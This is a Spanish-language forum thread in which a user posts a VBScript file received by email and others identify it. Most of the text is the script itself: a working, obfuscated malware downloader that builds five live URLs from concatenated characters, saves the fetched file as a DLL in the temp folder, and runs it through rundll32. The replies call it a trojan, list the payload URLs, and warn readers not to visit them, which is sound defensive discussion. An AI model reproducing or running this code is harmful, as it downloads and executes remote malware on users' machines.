'

Dim Go, Fh2(1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject("S"&"c"&"ripting.FileSystemObject")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Fh2(0) = "WinHttp.WinHttpRequest.5.1"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Fh2(1) = "MSXML2.XMLHTTP"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

For Each Go in Fh2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Err.Clear' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set JQw8 = CreateObject(Go)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Err.Number = 0 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Exit For' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If 5=5 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JQw8.Open "GET", CQq, False' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JQw8.Send' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Gk = TCd(LenB(JQw8.ResponseBody))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

For Fk = 1 To LenB(JQw8.ResponseBody)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Gk(Fk-1) = AscB(MidB(JQw8.ResponseBody, Fk, 1))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Tp = Gk' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub Cf4( Ih, Eu )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Fk, Ks5, Sr, JQw8, Nt0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject( "S"&"c"&"ripting.FileSystemObject" )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Sr.FolderExists( Eu ) Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Nt0 = Sr.BuildPath( Eu, Mid( Ih, InStrRev( Ih, "/" ) + 1 ) )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

ElseIf Sr.FolderExists( Left( Eu, InStrRev( Eu, "\" ) - 1 ) ) Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Nt0 = Eu' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Else' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Exit Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Ks5 = Sr.OpenTextFile( Nt0, Lg, True )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set JQw8 = CreateObject( "WinHttp.WinHttpRequest.5.1" )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JQw8.Open "GET", Ih, False' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JQw8.Send' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If LenB(JQw8.ResponseBody) < 100000 Or LenB(JQw8.ResponseBody) > 250000 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Err.Raise 50011, "", "ed32", "", 0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Exit Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

For Fk = 1 To LenB( JQw8.ResponseBody )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Ks5.Write Chr( AscB( MidB( JQw8.ResponseBody, Fk, 1 ) ) )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If 1=1 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Ks5.Close( )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Jc1()' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim SOx0, KNp3, JAa0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set SOx0 = CreateObject("WScript.Shell")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set KNp3 = SOx0.Environment("System")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JAa0 = KNp3("PROCESSOR_ARCHITECTURE")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If LCase(JAa0) = "amd64" Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Jc1 = SOx0.ExpandEnvironmentStrings("%SystemRoot%\SysWOW64\rundll32.exe")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Else' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Jc1 = SOx0.ExpandEnvironmentStrings("%SystemRoot%\system32\rundll32.exe")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub XDt8(CHt, IUm1, Nq)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim SOx0, Sr, Ks5, Mb4, JUw6' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set SOx0 = CreateObject("WScript.Shell")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject("S"&"c"&"ripting.FileSystemObject")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Ks5 = Sr.GetFile(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Mb4 = Ks5.ShortPath' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JUw6 = Jc1() + " " + Mb4 + "," + IUm1 + " " + Nq' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If 2 > 1 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

SOx0.Run(JUw6)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Rp(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Sr' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject("S"&"c"&"ripting.FileSystemObject")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Rp = Sr.FileExists(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Gm8(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Sr, Ks5' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject("S"&"c"&"ripting.FileSystemObject")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Ks5 = Sr.GetFile(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Gm8 = Ks5.ShortPath' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function MXl9(Sj, RWi3)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Me8' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Me8 = CDbl(Int(CDbl(Sj)/CDbl(RWi3)))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

MXl9 = CDbl(Sj) - Me8 * CDbl(RWi3)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Qp8(IJq, WVb2)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2(1) = 172 * WVb2(1) Mod 30307' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2(0) = 171 * WVb2(0) Mod 30269' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2(2) = 170 * WVb2(2) Mod 30323' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim PFw7' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

PFw7 = MXl9((CDbl(WVb2(0))/30269.0 + CDbl(WVb2(1))/30307.0 + CDbl(WVb2(2))/30323.0), 1.0)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Qp8 = Int(PFw7 * CDbl(IJq))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Ad(Jz4)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Ad = CInt(Jz4*Rnd())' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub Fz8(Kx1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WScript.Sleep(Kx1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub MNp(Tw1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WScript.Quit(Tw1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Randomize' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Os(2), AMh0, EEk1(4), Xr7
Os(0) = 27215
Os(1) = 16999
Os(2) = 28649
AMh0 = 21
If 1=1 Then
EEk1(0) = ""&"ht"&"t"&"p://" & "0" & "7" & "9" & "1" & "l" & "o" & "n" & "g" & "y" & "a" & "o" & "." & "c" & "o" & "m" & "/" & "m" & "w" & "n" & "r" & "v" & "q" & "7" & "t"
End If
If 1=1 Then
EEk1(1) = ""&"ht"&"t"&"p://" & "d" & "u" & "m" & "b" & "i" & "n" & "s" & "t" & "r" & "u" & "m" & "e" & "n" & "t" & "d" & "a" & "n" & "c" & "e" & "." & "c" & "o" & "m" & "/" & "n" & "q" & "6" & "w" & "c" & "k"
End If
If 1=1 Then
EEk1(2) = ""&"ht"&"t"&"p://" & "a" & "n" & "g" & "e" & "l" & "f" & "i" & "x" & "." & "n" & "e" & "t" & "/" & "o" & "2" & "m" & "w" & "g" & "t" & "q"
End If
If 1=1 Then
EEk1(3) = ""&"ht"&"t"&"p://" & "k" & "i" & "d" & "d" & "y" & "p" & "e" & "c" & "o" & "s" & "." & "c" & "o" & "m" & "/" & "0" & "l" & "o" & "o" & "b" & "u" & "3"
End If
If 1=1 Then
EEk1(4) = ""&"ht"&"t"&"p://" & "v" & "a" & "i" & "r" & "s" & "c" & "r" & "a" & "t" & "." & "c" & "o" & "m" & "/" & "0" & "o" & "p" & "r" & "7" & "s"
End If
Xr7 = "OVw8LcHvp0bnCQ"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim SOx0, TRd3, Vu9, BIc, Kx1' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set objShell = CreateObject("WS"&"cript.Shell")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

TRd3 = objShell.ExpandEnvironmentStrings("%" & "T"&"EMP%")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim VOw9, Vq1, Ao, SQm, Fk' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Vq1 = False' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

For Fk=0 To 5: Do' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Vu9 = TRd3 + "\" + Xr7 + Chr(48+Fk) + ".dl"&"l"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Rp(Vu9) Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

BIc = Gm8(Vu9) & ".txt"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Rp(BIc) Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WScript.Quit(0)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Not Vq1 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

VOw9 = Ad(UBound(EEk1))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Cf4 EEk1(VOw9), Vu9' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Err.Number <> 0 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Exit Do' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Vq1 = True' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

XDt8 Vu9, "zzz", "317"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

MNp 1' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Loop While False: Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If 3=3 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

MNp 0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If

desconozco lo que significa, pero se ve ejecutable

Damiancrk · 4 Nov 2016

Buscando un poco parece ser de esos que te bloquean el equipo para luego pedir una suma por desbloquearla...
envia o pide información a la web vairscrat,com y otras más

bettotheflayer · 4 Nov 2016

[MENTION=128930]TonyJackson[/MENTION]

Cita a ciclow el moderador del foro quizas el te pueda decirte algo.

jsstoni · 4 Nov 2016

El poco de ' bbbbb... son comentarios como para despistar la lectura del código al ser humano lo demás es arte de magia envía peticiones get a unas url que no se que hacen.

livam84 · 4 Nov 2016

Vaya hombre, con solo ver el dominio desde que te mandan el archivo es para desconfiar en automatico:

Mathis100@acookforyou.com

En serio? venden parcelas online desde el dominio acookforyou.com? o sea A COOK FOR YOU???

Saludos

LuiggiC · 4 Nov 2016

[MENTION=9679]cicklow[/MENTION] Te invoco 😱

Cicklow · 4 Nov 2016

Es un malware, ese VBS es Visual Basic Script... si lo ejecutas ejecuta un codigo que hace que tu pc se infecte, descargando un troyano desde la net... es muy comun esos mail, hasta te dicen que tienes un paquete de FEDEX y te dan un rar con un VBS o un EXE... son VIRUS!...

Yo he programado en VBS virus y antes eran muy facil de esparcir, hoy en dia los antivirus los detectan bastante bien... Si alguno recuerda el virus iLove echo en VBS fue uno de los virus que mas se esparció y estaba echo en VBS...

i love (o VBS/LoveLetter) es un virus escrito en VBScript. En mayo de 2000 infectó aproximadamente 50 millones de computadores provocando pérdidas de más de 5.500 millones de dólares.

https://es.wikipedia.org/wiki/ILoveYou

Ese virus Trata de descargar alguno de estos archivos:

Insertar CODE, HTML o PHP:

http://0791longyao.com/mwnrvq7t
http://dumbinstrumentdance.com/nq6wck
http://angelfix.net/o2mwgtq
http://kiddypecos.com/0loobu3
http://vairscrat.com/0opr7s

NO ENTRAR A LAS URL... el cual son los troyanos: https://virustotal.com/es/file/dd11...6b3861fe85e4ec244c3c9fc711ac2c5b964/analysis/ una ves que es descargado lo guarda como un DLL y lo ejecuta con el rundll infectando la PC

LuiggiC · 4 Nov 2016

cicklow dijo:
Es un malware, ese VBS es Visual Basic Script... si lo ejecutas ejecuta un codigo que hace que tu pc se infecte, descargando un troyano desde la net... es muy comun esos mail, hasta te dicen que tienes un paquete de FEDEX y te dan un rar con un VBS o un EXE... son VIRUS!...

Yo he programado en VBS virus y antes eran muy facil de esparcir, hoy en dia los antivirus los detectan bastante bien... Si alguno recuerda el virus iLove echo en VBS fue uno de los virus que mas se esparció y estaba echo en VBS...

https://es.wikipedia.org/wiki/ILoveYou

Ese virus Trata de descargar alguno de estos archivos:

Insertar CODE, HTML o PHP:

http://0791longyao.com/mwnrvq7t http://dumbinstrumentdance.com/nq6wck http://angelfix.net/o2mwgtq http://kiddypecos.com/0loobu3 http://vairscrat.com/0opr7s

NO ENTRAR A LAS URL... el cual son los troyanos: https://virustotal.com/es/file/dd11...6b3861fe85e4ec244c3c9fc711ac2c5b964/analysis/ una ves que es descargado lo guarda como un DLL y lo ejecuta con el rundll infectando la PC

No lo conocía a ese virus... 😱... al parecer el último dominio fue registrado antes de ayer..

Mi pedido llegará rápido, pero...

Tony Lothbrok

Damiancrk

JhonEspinoza

Tony Lothbrok

JhonEspinoza

Damiancrk

bettotheflayer

jsstoni

livam84

LuiggiC

Cicklow

LuiggiC

Temas similares